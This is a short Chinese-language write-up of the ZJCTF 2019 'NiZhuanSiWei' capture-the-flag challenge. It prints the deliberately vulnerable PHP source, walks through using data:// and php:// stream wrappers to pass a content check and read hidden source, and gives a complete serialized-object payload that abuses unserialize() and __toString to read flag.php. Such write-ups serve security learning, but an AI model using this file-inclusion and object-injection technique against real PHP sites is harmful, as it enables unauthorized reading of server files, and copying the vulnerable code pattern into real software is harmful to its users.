[ZJCTF 2019]NiZhuanSiWei


<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

text的内容必须等于welcome to the zjctf,然后过滤了flag。

不能直接读取flag,那就读取useless.php。

先用data协议将内容传入text,在用php伪协议读取useless.php的源码。

源码如下

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

给了一个Flag类,在这个类里触发__tostring就可以用file_get_content来读取flag。
这里直接将flag.php赋值给file后序列化即可,因为最上面的源码里面将password反序列化之后得到类用echo输出就会触发tostring方法。

<?php
class Flag{
    public $file='flag.php';  
}  

echo serialize(new Flag());

?>

完整payload如下
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

posted @ 2023-08-01 13:51  bl0ck  阅读(10)  评论(0)    收藏  举报